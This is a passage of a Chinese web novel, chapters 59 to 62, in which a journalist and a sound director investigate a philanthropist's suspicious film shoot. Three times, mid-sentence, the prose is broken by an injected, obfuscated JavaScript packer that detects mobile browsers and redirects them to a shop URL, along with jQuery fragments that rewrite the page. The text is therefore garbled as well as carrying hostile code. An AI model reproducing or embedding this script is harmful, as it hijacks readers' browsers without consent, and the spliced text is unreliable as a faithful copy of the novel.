齐寻忍俊不禁,噗一声笑出来,成功收获一记闪着寒光的眼刀。 黎叙闻冷笑一声,站起身来拽着孩子就往回走:“大的小的,谁也别吃了!” 然后脚下一拐,还是去了小卖部。 鸡零狗碎拿了一堆零食,黎叙闻拿出手机付账,扭头问靠在门口等她的人:“烟呢?” 齐寻顿了两秒,似乎才想起来自己是出来“买烟的”,随便抬手指了一盒:“谢了。” 见他随手往兜里一塞,黎叙闻又想起在龙腾的救援营地,那个靠在月光里,抽着烟陪她的影子。 “有瘾吗?”她问。 “没,这两年很少抽了。” “那怎么忽然出来买烟?” “……晚上可能要熬夜。” “哦,”黎叙闻嘴角噙着笑意,跟他擦身而过,顺手摸走了他兜里的一盒烟:“现在还不到后期呢,就要熬夜了。” 声音指导几乎都是不进组的,拍摄期间没那么忙,就是后期忙。 还好之前被人科普过,不然今天就要被他糊弄了! 她眼梢挂着点揶揄:“可能你这个声音指导比别人高级吧。” 齐寻半天说不出话来,在她身后按了按眉心,叹息一声跟上去:“没名没分的,管我抽烟?” 黎叙闻把那包烟揣进口袋,哼了一声,没睬他。 剧组还没收工,她带着个孩子,也没地方去,黎叙闻想了半天,发现只有自己那个出租屋可去。 她默不作声在前面走,齐寻抱着小毛毛跟在后面,就这么一前一后走到巷子口,里面依然被剧组围得水泄不通,大灯把巷尾照得跟白天似的。 “行,你回吧,”黎叙闻伸手把小毛毛从他身上接过来:“我走两步就到了。” 声音平得跟被平底锅拍过一样。 齐寻默了一瞬:“……嗯。” 结果小毛毛不干了。 黎叙闻一抱他,他就哭得跟别人掐他了似的,吓得黎叙闻立马撒手,她一撒手,哭声也立马就停。 再抱,再哭,她放手,他也停。 熊孩子好像在报复她刚刚被叫阿姨之后凶了他。 声波攻击吵得黎叙闻头都大了,以齐寻的听力,更是酷刑,还成功引起了路人疑心的注意。 黎叙闻生无可恋看向齐寻:“我这个人你知道,做事讲究公平公正等价交换,这辈子没求过什么人。” 齐寻挑着眉不接话,偏要她说完。 黎叙闻咬着牙瞪他片刻,随即认命地闭上眼:“帮我把这个小祖宗带回家行吗,求你了!” 一楼的房间,一整天门窗紧闭,开门就一股潮气。 黎叙闻推开吱扭作响的房门,招呼齐寻:“随便坐。” 齐寻应了,环顾了一下房间。 一颗核桃大的灯泡孤零零趴在天花板上,发出不怎么精神的弱光,不知是不是偏远小县城的老房子自带磨砂滤镜,整个房子都灰蒙蒙的。 墙上刷着半人高的青绿色漆,地上铺着灰绿色水磨石,夏日潮湿,墙角和地缝中都锈着一层黑色霉菌,客厅除了陈旧的沙发和茶几,还靠墙摆着一个木制方形电视柜,上面的土快积了一尺厚。 感觉这地方跟他们找的县城文艺片取景地差不多——简陋、老旧、灰蒙蒙,好像不这样就表达不出主角的阴郁和被困囿的命运。 他抱着孩子,把零食放在地上,眼神去捉那个忙着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006408|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用电水壶烧水的人。 可她不一样,住在这种地方,她一样光芒万丈。 电水壶咔哒一声,随即响起蒸腾一般的噪音。 黎叙闻后脑勺长了眼睛似地:“站着干嘛,坐啊。” 齐寻盯了客厅中间那个铺了毯子的木质沙发许久,终于下定决心,抱着孩子,慢慢曲腿,屁股刚挨到沙发,它立刻发出一声不堪重负的抗议。 黎叙闻取了杯子出来,被这声音刺得轻轻嘶了一声:“小心,这玩意儿要坐坏了,影姐可能要收我一万。” 齐寻笑了声,眉眼也松快下来:“你进度如何?” “比想象中顺利,她就是看着难搞,”黎叙闻转身去开窗:“只要别让她知道我是记者,我大概就能全须全尾回去。” “准备呆多久?” “哈哈,”她苦笑道:“那要看影姐给我多少面子。” 一扇几乎被灰尘锈实了的乌腾腾的窗户,翅膀一样展开,正对着荒地墙角处一片凋落的叶子。 这时候月亮冷白地贴在空中,还没到光辉最盛的时候,有气无力地照着这片寂静。 齐寻让扑面而来的土腥气冲得皱了下眉:“住得惯吗?不觉得苦?” 黎叙闻笑道:“做记者的,怕什么苦?” “这种地方……”齐寻犹豫了下,还是问:“住着不害怕?” 黎叙闻一边开电扇一边竖起眉毛:“不要提!” 齐寻无奈道:“不提你就想不起来了是吗。”顿了顿又说:“实在不行,可以打电话给我。” 黎叙闻拉了个小马扎坐下,话里带着故意的坏:“凌晨三点也行?” “多晚都行,”齐寻笑了下,回收了之前自己亲手挖的坑:“毕竟我们声音指导,拍摄期间也天天通宵。” 黎叙闻被他逗笑:“那可得多要些劳务费才行。” 小毛毛从齐寻怀里爬出来,嘴里咿咿呀呀地去翻零食袋子,窸窣直响。 身后烧水壶依然在尽职尽责地翻滚,发出咕噜噜的响动,老旧电扇嗡嗡地摇着头,送来一丝聊胜于无的凉意。 她坐在他身边,上身斜斜倚靠着沙发硌死人的扶手,以手支颐,只觉得难得地安静放松,一整天的疲劳和潮热终于渐渐从骨头缝里爬出来,拽得她昏昏欲睡。 齐寻一言不发,从侧面看着她半阖的双眸。 之前话说得太死,好像两个人真要老死不相往来似的,在柳北见面后,他总有一种不知怎么面对她的烦躁。 这些东西在心里浮浮沉沉,被八月的暑气一捂,无限地膨胀、扩散,淤堵了他心脏里每一个出口。 现在她安静下来,令人不安的龃龉散去,他终于可以心无旁骛地,再好好看看她。 很有干劲,也很从容,把自己从高级公寓发配到这种地方来,也没有什么怨气,依然那么傲气,那么漂亮。 想一想她这次出差的时机实在微妙,前脚说去民政局离婚,后脚就跑了,由不得他不多想。 当然,她做的事,一定有关于她自己的理由,比如书影这个访谈对她来说真的非常重要,比如发表了这次专栏,她的影响力就能更上一层楼。 她是走还是留,从来与他无关。 也好,他想。 电水壶又咔哒一声,开关跳起,沸腾的滚水呼出一阵白热的蒸汽。 黎叙闻忽然睁开眼睛。 “齐寻,”她的声音就着滚水最后一丝沸腾的声响,轻轻响在他耳边:“中国这么大,为什么我们又遇到了?” 她带着一点期许,一点躲闪:“真的,这么巧吗?” 60. 第 60 章 柳北县这么小,要躲一个人,也能参商不见。 而中国再大,也拦不住想再见一面的思念。 剧组要提前很久筹备码盘子,这是真的,但人在一个行业里做到顶尖,就是有这点好处。 他不必再受制于许多规则,必要的时候,可以随心所欲。 从前他觉得无所谓,也懒得搞特殊,可这次用闻闻的证件号码查了她的目的地之后,他却无比庆幸自己有随心所欲的能力。 但这些,他不准备让她知道。 电水壶里最后一点沸腾的余波也沉寂了,散在空中的蒸汽熏热了他一小片侧脸。 齐寻眨了下眼,眼睫拂开水汽:“你希望这是个巧合吗?” 空气静了很久,黎叙闻才答:“我希不希望不重要。” “重要。”齐寻异乎寻常地执拗:“我就想听你一个答案。” 窗外有陌生的鸟鸣响起,扑棱了一声,乘风飞远了。 黎叙闻慢慢坐起身,固执地不回头看他,声音发闷:“我回答了,就一定是事实吗,”她笑了一声:“要是我存心骗你呢?” 齐寻一直盯着她僵直的后颈:“你说了我就信。” 又是一阵难耐之极的沉默。 连把零食翻了个底朝天的小毛毛也感受到了什么似的,睁着大眼睛,一声不吭盯着他们瞧。 答案无非是或不是,可她迟疑着,就是无法说出口。 而很多时候,事实根本不必明言。 隐秘的期待让快言快语的人犹豫,让隐而不发的人勇敢。 齐寻没等到她的答案,却等来了她的确认。 他伸手抚过她卷曲的乌黑发丝,柔软微凉从指缝里流淌而过。 “黎叙闻,”他叫她的名字:“你有动摇的自由。” “我可以等。” 黎叙闻还是没有回头,只是慢慢地、轻轻地,眨了下眼睛。 像是落下了一颗看不见的眼泪。 柳北八月的湿热似乎特别眷顾这家小小的发廊,公平地在每个人身上都下起黏腻不停的雨。 第二日的拍摄迟迟没有开始,黎叙闻擦过第三遍汗,隔着坐了遍地的工作人员向门口看,正见到导演和齐寻跟一个背对着门口的女人说话。 从导演低三下四的神情,不难看出她是甲方的人,也许身份还不低。 大热的天,那女人还裹着一身严实的套装,衣领靠着后颈,裤脚直至脚踝,头发精细地盘在后脑,很精干的打扮。 就是这种天气穿成这样,不热吗…… 这时候那女人似乎感到了身后的视线,忽而扭过头,隔空跟黎叙闻遥遥对视一眼。 在满屋嗡嗡煌煌的嘈杂里,她唇角一扬,留下了一个意味深长的微笑。 黎叙闻蓦然一愣,一种被人凝视、看穿了的冰冷感觉倏而流遍全身,心跳瞬间加速,甚至忘了给她一个友好的回应。 而那女人的目光也未停留,转过头去,继续跟导演和齐寻点头聊天了。 他们的攀谈很快结束,导演一声令下,静止在各个角落的剧组人员从地上起身,像拔地而起的一座座建筑似的,又投入工作中。 拍摄现场看多了也无聊,黎叙闻百无聊赖地望着窗外,却发现了一点怪异。 昨天那个网红脸的女演员,今天又出现在了门外。 衣服甚至都没换。 黎叙闻在齐寻那看过今天要拍的场次,里面并没有这个角色,而且今天的拍摄内容一改昨天的模棱两可,正得发邪,书影简直不是一个业余诗歌爱好者,而是出淤泥而不染的白莲。 这种感觉就好像…… 就好像那些意有所指的台词和氛围,都被那个女演员一起带走了一样,好像她跟那些东西是绑定的。 这种微妙的违和感,放在别人身上可能就略过了,但黎叙闻不同。 她熟读许多名记者的传记,包括她的偶像,战地记者琼斯·埃弗利的自传,深知那些惊世骇俗的新闻,在一开始,都仅仅是划过记者眼角的一丝毫不起眼的违和。 “好,停。” 一场拍摄结束,现场人员乌泱泱地换景,导演叼着烟屁股,坐在监视器后看刚拍的片段。 他落单的机会转瞬即逝,黎叙闻排开人群上前,笑着递上昨天从齐寻那里顺来的那包烟:“侯导,还顺利啊?” 导演一见她,立刻弹射起身接过烟:“哎,顺利,顺利。你看看,还让嫂子破费了。” “小地方,没什么好东西,您将就将就,”黎叙闻轻车熟路:“我没见过拍电影,就是好奇昨天那场跟今天拍的,风格差这么多啊?” “哦,嗐,”导演摆了摆手:“咱们拍的是宣传片,都是金主的意思,风格不风格的不重要” “可这支片子主角是书影,”黎叙闻笑盈盈地跟他对视:“那个女演员在这逗留很久了,她到底是什么角色啊?” “哎呀,这个嘛,”导演眼睛一转,张口就是一串水词:“还是那句话,上面怎么说,我们就怎么拍呗。” 配角? 这样一个激励人心、正能量的宣传片,需要一个这样的配角? 但再问下去,他肯定会起疑。 黎叙闻决定见好就收:“原来如此,谢谢侯导,我懂了不少。” “这都好说,”导演松口气,欲言又止:“就是昨天的事,齐老师好像还……” 黎叙闻莞尔一笑:“放心,我去跟他解释。” 导演高高兴兴送走她,心里一块石头刚落地,前脚拿起喇叭准备喊各单位准备,后脚肩膀上就握上了一只有力的手。 他一回头,齐寻那张漠然到迫人的脸,离他只有一步之遥。 “侯导也爱抽这种便宜的?”齐寻视线向下一挑,划过他手里那包烟。 导演本能地紧张,却摸不着头脑:“也……也没有,这烟我见都没见过。” “正好,”齐寻面上见不到一点笑意:“这种我爱抽,换换?” 下一秒,导演手里一空,继而又被塞了一包红彤彤的烟。 他低头一看,在心里嚯了声。 软中华。 齐寻把烟揣进兜里,丢下一句谢了,头也不回地走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011493|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留导演一个人在原地,拿着喇叭无所适从。 你们两口子……能不能有病治病?! 拍摄在闷热的午后继续,黎叙闻不再守在发廊里,而是靠在门框边上,准备伺机跟上另一支拍摄队伍,去一探究竟。 等着等着她自己都笑了。 还以为来做人物访谈是个轻松的活儿,最大的障碍就是影姐的坏脾气,没想到不出半个月,还是干起了自己的老本行。 “在笑什么?”一把清越的女声忽而响在她身旁。 黎叙闻扭头去看。 一个含着微笑的女人正看着她,一身棕色修身套装,里面的衬衣扣子扣到最上边,面容清淡得像一阵烟,只有一双凤眼,笑意盈盈地盯着她瞧。 “你好,我是蔡道全蔡总的秘书,吴檀。”她礼数周全地伸出手:“你贵姓?” 一听她这个身份,黎叙闻几秒钟内转了八百个想法。 她一抿唇,避重就轻:“免贵姓王。” 吴檀点点头,精确的微笑没一丝破绽:“没别的意思,就是看你站在这,在一群人里面实在是打眼漂亮,忍不住上来打个招呼。听说你是齐老师的爱人?” 黎叙闻心里蓦地一松,也不管她这句是不是越界,顺口认了:“是,对拍电影蛮好奇的,跟来看看热闹。”默了两秒,自然接上客套:“来了之后一直听闻蔡总高义,给这些女孩们提供了不少帮助。” “是,这是蔡总一直以来的夙愿。” 黎叙闻轻轻点头:“真是高山仰止。” 吴檀一直看着她的眼睛:“是吗?” 两个不合时宜的字像一对剪子,蓦地把顺畅的客套剪了个洞。 黎叙闻眉峰一挑,一时不确定是自己理解错了,还是她真的话里有话。 两人沉默的两三秒间,连周围嘈杂的人声都泼不进来了。 “当然是,”吴檀弯着眉眼笑开了,好像刚刚那一瞬间只是玩笑:“能帮到更多的底层女性,是我们基金会存在的理由。”她回头看看屋里忙乱的现场:“要是能顺利就好了。” “一定会的,他们团队也是熟手了,出不了什么岔子。” 吴檀盯着站在镜头前僵硬地诗朗诵的书影,像是无知无觉地自说自话:“也难讲,双线并行不好把握的,毕竟内容风格都不同。” 黎叙闻先是一愣,紧接着抓住了那一闪而过的关键词。 双线并行? 什么双线并行? 除了书影这边,难道还有什么她不知道的拍摄内容? 她不知道也就算了,齐寻也不知道吗?他如果知道,绝对不会瞒着她,昨天看剧本的时候,肯定会一并知会她。 这点信心,她对齐寻还是有的。 在黎叙闻开口询问之前,吴檀拿出手机看了眼时间,抱歉道:“我下午还有个会,先走了。” 黎叙闻只得应了一声,惋惜地看着她向前走了两步,又忽然转过身来。 “很高兴认识你,”吴檀认真凝视着她,那张给人留不下任何印象的脸上,慢慢绽开一个亲和的微笑: “黎记者。” 61. 第 61 章 三个字穿过片场的杂乱人声,轻飘飘地落在地上,在黎叙闻耳朵里砸出一记惊雷。 短短半秒间,她把自己跟这个女人说过的所有话都回忆了一遍。 她确定自己没提过记者这两个字。 她明明说自己姓王。 吴檀来她搭话,根本是刻意为之! 然而不等她向前一步拉住吴檀,后者便匆匆几步没入人群,不见了踪迹。 黎叙闻一个人站在耸动的人群里,眦目欲裂,手脚冰凉,后颈竟在一片暑气中浮起了一层冷汗。 她什么时候露出破绽的?还是说,吴檀原本就认识她? 身为蔡道全的秘书,一个人出现在这里,应该是替老板来监工的,那她有什么必要来跟自己搭话? 不,不对,吴檀的重点,分明在最后的那句“黎记者”里。 恐怕她是受上级所托,专门来点她,让她知道自己已经被盯上了,最好少说话,少管闲事,不然下次,大概就不是这样模棱两可的温和提醒了。 想透了这一层,黎叙闻反而迅速冷静下来。 被威胁、被报复,是调查记者的宿命。 能被这种司空见惯的手段威胁到,那她才是配不上“调查记者”这个名头。 她重新靠回发廊微微变形的门框上,在无人注意的角落,轻轻蔑笑出声。 这样就想堵住她的嘴,看不起谁呢? 她思忖了片刻,一扭头,见对过巷尾的石桌旁,齐寻正跟小孙一起听素材。 大热的天,两个大男人面对面挤在角落,怪局促的,他脸上却没有什么抱怨,只有她见惯了的冷淡。 黎叙闻走过去,没跟齐寻搭话,却拍了小孙一下:“嗨,小朋友。” 小孙正沉浸在声音里,皱着眉抬头看,一见是她,整个人触电一样跳起来,膝盖直直撞上旁边的石凳,硬是忍住没叫出声,脸涨得通红,张口却一时不知道该叫她什么:“啊、你,你……” 黎叙闻抱着双臂,笑眯眯的:“我跟你齐老师有几句话要说,可以借他两分钟吗?” 小孙盯着她看了半天,又瞄了齐寻一眼,抱着录音机低头跑了。 齐寻目睹了她这场一时兴起的玩笑,收回视线,面无表情去翻手里的通告单:“什么事。” 尾音平得连个钩儿都没有。 黎叙闻“嘁”了声:“没事不能找你?” “有事说事,没事就不要欺负我的话筒员,黎小姐。”他还是低头翻那两页纸,不知道上面到底有什么宝贝:“小孩单纯,你不要这样……” 黎叙闻挨着他坐下:“哪样?” 齐寻终于抬头看她,一双眸子黑亮,语气却不怎么好:“……恃靓行凶。” “难怪态度这么差,”黎叙闻噗地笑出声,皱了皱鼻子:“哪来的酸味?” “你采访做完了?”齐寻忍无可忍:“到底来干嘛的?” 两根皙白手指伸到他眼前。 “两件事,第一,我发现你们这个剧组不简单,拍的东西跟宣传的货不对板,你知道吗?” “不知道,”齐寻拿出自己随身的录音机摆弄,打定主意不跟她对视:“这也正常,剧组里什么破事都有,没碍你的事,就不要去管。” “我怀疑这个剧组,不,这个所谓的大善人蔡道全,在挂羊头卖狗肉。”黎叙闻道:“我要弄清楚,他们卖的狗肉,对书影有没有坏处。” 齐寻不置可否:“第二件呢?” “我被人盯上了——蔡道全的秘书,吴檀,刚刚来跟我搭话,叫我‘黎记者’。” 他终于停下手上的动作,皱着眉抬头望她:“她怎么知道的?” “我也想知道,”黎叙闻敛了笑意:“不过不重要,这更坚定了我的猜测:这所谓的宣传片,甚至蔡道全本人,很可能都有问题——我又发现一个独家。” 齐寻眉头就没平过:“想过后果吗?” “嗯。蔡道全能量不小,但说到底只是个地方企业家,到不了只手遮天的地步。”黎叙闻用拇指和食指捏起小小一团空气:“不过可能还是要……稍微,稍微借一借你的身份。” 齐寻按了按眉心,声音焦躁:“我现在就想把你打包送回京屿……你知道什么叫强龙不压地头蛇?” “那算了,”黎叙闻哼笑了声:“反正吴檀已经知道了,过不了几天所有人都会知道我是个记者,到时候我大概会成为影姐第二个脑震荡的战绩。” 她站起身,遗憾道:“你帮我叫救护车就行,等我出院了还你医药费。” 说完转身就走。 齐寻长叹一声:“……回来!” 黎叙闻欢欢喜喜扭头坐回来,不要一点尊严。 齐寻肃着脸:“要我做什么?” 那表情,活脱脱一副“你想好了再说话要是说出什么不知死活的话来我还是把你送回家”的样子。 “那个女演员,你能不能想办法去套她的话,问问她是不是在拍额外的东西,到底在拍什么?”黎叙闻认真道:“我觉得突破口就在她身上。” “……你自己怎么不去?” “其一,之前她跟我争过两句,再去套话太难,其二嘛……” 齐寻撩起眼皮觑她,就想听听她还能放出什么厥词来。 黎叙闻笑着靠近他,以手支颐,对他眨巴眨巴眼睛:“其二,你长得帅,女孩子见了你,都不忍心说谎。” 齐寻坐着一动不动,看着她一寸寸向自己靠过来,身上的水香渐郁渐浓,清浅的鼻息在炎炎夏日里,甚至带来一缕清凉。 可它喷薄在他手背皮肤上,触感类似灼伤。 齐寻笑了笑,一把拽过她的手腕,那只手原本托着下巴,被他一扯,她整个人都向他胸口栽过来,却被他另一只手捞住后颈。 片场人来来往往,这狎昵的姿势与人潮之间,隔的只有齐寻的胸膛,和两人呼吸交缠的距离。 黎叙闻整个人被控住,却仍好整以暇:“我就知道你会答应。” 齐寻不答,反而沉沉盯着她粲然的眼。 “别人不忍心说谎,”良久,他才问:“那你呢?” “比如?”黎叙闻摘下他捏着自己后颈的手,还是那副游刃有余的笑意:“什么谎?” 齐寻张张嘴,却没发出声音。 不是没得问,恰恰相反,他想问的太多了,不知该先问哪个。 比如林青淮真的只是朋友吗,比如她真的没想起来他是谁吗。 再比如,她是真的想跟他离婚,从此再无关联吗。 他犹疑得太久了,久到黎叙闻眸光中的戏谑不得不渐渐散去。 “齐寻,我没有对你说过谎。” 她说过不方便、不合适、别纠缠,可她从没说过不喜欢。 皓白的手腕还捏在他掌中,黎叙闻目光向下,望着他松松扣在自己腕间的手指:“你知道么,你演技实在一般,露馅过好几回。我知道你其实不是个温柔的人。” 她感到锁住她手腕的指尖一紧,又顾自说下去:“你冷漠、好胜、控制欲强,但有一点好——你真诚善良。” “真诚善良的人不该被苛待,所以即使我没法回应你的感情,我也不会对你说谎。”黎叙闻慢慢向着他拇指的方向按下手腕,挣脱了他的桎梏:“这一点上,我永远不会反悔。” 下一场戏已经开拍,巷子里恢复了刻意为之的安静,只有角落榆树上细小的蝉鸣,乘着她泠然的尾音,轻轻落下来。 齐寻看着她微低的眼睫,眸中深海掀起无声的浪,在欢喜与心虚之间来回晃漾许久,才轻轻嗯了一声。 完蛋了,刚刚的原则和底线已经烧穿了。 现在别说让他去套个话,就算让他直接去单挑蔡道全,他咬咬牙可能也就去了。 黎叙闻却对自己的大获全胜浑然不觉。 她坐直身子,迅速眨了下眼,恢复了公事专用的冷静神情:“你去跟那个姑娘套话,我去问问影姐,看她到底还知道些什么。有什么进展的话,晚上我家见。” 当天晚上,黎叙闻硬是熬到剧组收工,并在步行街斥巨资——35块,买了些卤菜,拿回去跟影姐和珍妮一起吃。 至于为什么等深更半夜收工了才吃饭,当然是因为剧组花钱买的盒饭里,没有影姐和珍妮的份。 珍妮吃得狼吞虎咽:“剧组真好啊,那些大机器,真高级。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015558|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎叙闻冷笑:“机器可以,人不行。” “又有钱又有文化,还不行?” “再有钱再有文化,看不起我的人我也不会给他好脸。”黎叙闻给她夹了一筷子牛肉:“你也记着,咱们不偷不抢,犯不着跟谁低三下四。” 书影眉头一扬,看了她一眼,没吭声,只顾低头吃馒头。 “我今天看到那个姐姐了,”珍妮半个字都没听进去:“她好漂亮!穿得也好,哎老……影姐,过后我也能变成那样吧?” “就那么想去?”书影笑了一下,还是掰馒头吃:“那你就跟其他人一样,不稀得回来喽。” 黎叙闻耳朵尖微不可查地动了动。 其他人?谁啊? 不回来了?回哪里,柳北吗? “想去!你就答应我吧,我不跟她们似的,”珍妮把碗里的牛肉夹给影姐:“以后我接你去过好日子呢。” 书影满脸被岁月和生活磋磨出的褶子,听到这话才稍微展了展。 玻璃门上映出她模糊的带笑面庞。 一桌饭,三个人,有菜有肉,还有盼头。 她们以后还会有更好的日子的,书影想,真好。 黎叙闻此时忽然轻咳了一声,问:“总听你们说那个好工作,具体是做什么去啊?” “谁知道……左不过是在那些高楼里打电脑吧,”书影回过神,把肉又夹回给珍妮:“咱不懂,也不上赶着问。” 黎叙闻状似无意地喝了口汤:“你给人推荐工作,都不问清楚啊?那姓蔡的靠谱吗?” 空气忽然诡异地一静。 因为其余两人咀嚼的声音同时停了。 珍妮嘴里包着一口辣藕,嚼也不敢嚼,头也不敢动,只有俩眼珠子偷偷瞟向书影的方向。 完了,今天晚上必有一战。 果然,下一秒书影岁月静好的脸上陡然生出一股杀气,啪地一声把筷子拍在了桌子上。 “你们这些外地人知道个逑!”她几乎咆哮起来:“我们的命都是蔡总给的,有本事你也叫人来给我们讲课看病,捐钱买奶粉!” 桌上的骨碟让她凶得嗡嗡作响,连同黎叙闻的耳膜都在震颤。 “知道了知道了,”她苦笑着捂了下耳朵:“蔡总活菩萨,蔡总天下第一,行了吧?” 书影明显刹不住车了,喋喋不休道:“人家几十年拼下来的大公司,就为了骗我们这种玩意?有这样的大善人愿意管我们,是祖坟冒青烟了!” 黎叙闻皱着脸揉耳朵,这时候动作忽然停了。 “我也没说他骗了你们啊,”她不动声色,赔着笑:“没有,蔡总高风亮节,不是骗子,不是骗子哈。” “蔡总不是骗子,”书影看着桌子上的一堆花椒辣皮,又说:“他是一百年都遇不到的大好人。” 嘴上不走心得像是在哄小孩,黎叙闻心里却在飞快地盘算。 书影真的什么都不知道吗? 这么多年过去,她就没一点猜测,或者就没听到一点风声? 这激烈的态度……明明就是随口一问,她就像是被掀了逆鳞一样。 如果总有人在她面前质疑蔡道全,那也罢了,可整个柳北明明都对蔡道全感恩戴德,听到有人这样质疑,她第一反应应该是觉得好笑,而不是直接翻脸。 人在什么最易燃易爆炸? 答案是心虚的时候。 黎叙闻埋着头啃鸭脖,对着桌面微微眯了眯眼。 虽然没探听到什么具体,但今晚的信息量已经够了。 或许书影并不是一个坚不可摧的、被彻底洗脑的狂信徒。 恰恰相反,她的内心深处,可能对这个“工作”、对蔡道全,似乎都存在着巨大的怀疑和不安。 可现在实在不是追根究底的好时机——她今天刚被人戳穿身份,不知道影姐到底听说了多少。 此时贸然发问,搞不好今天晚上她就要被影姐拍出脑震荡了。 黎叙闻只能把所有都咽下去,幽幽地叹了口气。 撬不开书影的嘴,好在还有齐寻那边的线索。 她啃了口食之无味的馒头,想,不知道他那边怎么样了。 62. 第 62 章 午夜,小县城恢复寂静,黎叙闻躺在出租屋梆硬的床板上,盯着天花板发呆。 卧室的窗户又低又宽,好像手臂一撑就能迈进来,今晚正值新月,外面一片不祥的黑。 高低杂草的剪影在不远处晃动,黑暗中偶尔有影子快速掠过,看不清是什么。 意识即将模糊的时候,手机忽然嗡嗡一响,拿起来一看,是齐寻:开门。 她几乎瞬移到门口,一把拉开门,速度把门口的齐寻都吓了一跳。 “进来坐。有进展吗?” 齐寻被她拉着坐下,心情莫名不错:“等很久了?” 黎叙闻咳了声:“能不能有点职业素养?怎么样,她说什么了?” “大进展。” 到底还是职业记者眼光毒辣——齐寻在片场见到那个姑娘,上去递了支烟,几乎没怎么费力,她便反客为主,搭起了讪。 “她没明说,但我听她的意思,确实有另外的片子跟这部同时开机,”齐寻说:“连导演摄影都是同一套班底。那女孩,就是女主角。” “拍的什么内容?” “不知道,估计他们有什么保密条款,”他沉吟了下:“说话的时候应该刚从片场出来,但她一身的酒气。” 黎叙闻拧着眉,“啊”了一声。 听上去……不是很正经。 什么样的公司,会在拍企业宣传片的同时,明修栈道暗度陈仓? “看不出来,”齐寻摇摇头:“要是看不到素材,我也没法确定。” 黎叙闻视线一瞟,不知怎么就停在他撑得方方正正的裤袋上。 她眼睛盯着那处,嘴上却问:“侯导说,这是甲方要求的,这个甲方具体指谁?是蔡道全公司的管理层吗?” 齐寻顺着她的视线低头,立刻明白过来她发现了什么,无语地按住裤袋。 他企图用正事转移她注意力:“这我倒是问到了——另一个片场有监制盯场,那女孩跟我抱怨,说一开始给的指令根本不是这样,临到开机了又改了好多遍。据她说,那个人姓谭。” “哦,姓谭。”黎叙闻脑子已经不在这上面了,盯着他的手问:“那是什么?” 齐寻捂得更紧了:“……没什么。” 黎叙闻一只手捉住他的手腕,另一只手直接探进裤袋,往外一抽—— 抽出了她早上已经送给侯导的那包烟。 齐寻:……………… 沉默是今晚的康桥。 还有他黑着脸硬送出去的那包软中华。 黎叙闻忍俊不禁,拿出烟盒在他眼前一晃:“看来这烟认主,送得再远也长腿跑回你身上。” 齐寻眼神一闪,额角猛跳:“就不能是我自己买的?” 说完他自己都觉得太搞笑了。 黎大记者要真这么好骗该有多好,世界都和平了。 果然,黎叙闻好整以暇地望着他,笑容恶劣地越来越浓:“今天你一整天都在片场,盒饭都是在理发店吃的,什么时候去买的?” 齐寻尴尬得人都僵了。 他嘴唇动了动,撇开眼睛艰难道:“闻闻,别欺负人。” 黎叙闻乐不可支,把烟又塞回他手里:“你这醋,吃得挺别出心裁啊。” “……所以接下来呢?”齐寻按着突突直跳的额角,试图把这一页揭过去:“你还想怎么查?” “啧,不经逗。” 虽是这么说,黎叙闻还是敛住笑意,想了想,道:“如果要报道,就必须有证据,现在我们有两条线索,一是那个姓谭的监制,二是他们拍的实际内容。我想办法查那个监制的身份,你看看有没有机会,看到那边的素材。” “他们应该会非常小心,我不是他们的人,估计得防着我,我尽力。” “行,后面你就看我眼色行事。” 齐寻自上而下注视着她毛茸茸的眼睛。 忽然想起两人第一次合作去代孕机构暗访,她紧张得眼睛透亮,脸都绷得紧紧的,嘴上仍然逞强,也是让他“看我眼色行事”。 一想到那时她挽着自己,踮着脚在他耳侧轻声警告时,喷薄在他耳侧丝丝缕缕的热气,齐寻就有点失神。 他轻咳了声,从那张硬得能烙饼的木沙发上站起来:“你锁好门,晾衣绳上最好挂几件男人衣服,小地方治安不一定行。” 黎叙闻似乎愣了片刻,才慢半拍跟着起身。 她跟在他身后,从脑中复杂冗余的各种信息里,探寻到一个不太寻常的念头—— 她好像,没想到齐寻要走。 好像这里应该是他们的家,齐寻不是来找她谈事的,而是工作了一天,刚刚回到家。 “闻闻?”齐寻站在门口,盯着她看:“怎么了?” 黎叙闻在出租屋雾腾腾的灯光里,对着他模糊地笑了笑:“没,没有,今天谢谢你。” 齐寻定定地看了她半晌,实在看不出什么端倪,又叮嘱她锁好门,终于转身走了。 陈旧的锁舌轻轻发出一声弹响,黎叙闻站在门口,兀自呆了片刻,继而摇摇头,无声地笑了。 搞电影这么多年,偷素材的活儿齐寻还是第一次干。 这种小型宣传片剧组素材一般由摄影保管,问题是摄影师身在局中,怎么才能从他手里拿到素材? 齐寻挑了个导演去调整布景的空档,溜达监视器区,屈指轻轻敲了敲机器外壳。 正低头拷机内素材的摄影师小赵猛地抬头:“齐老师?怎么亲自过来了?” 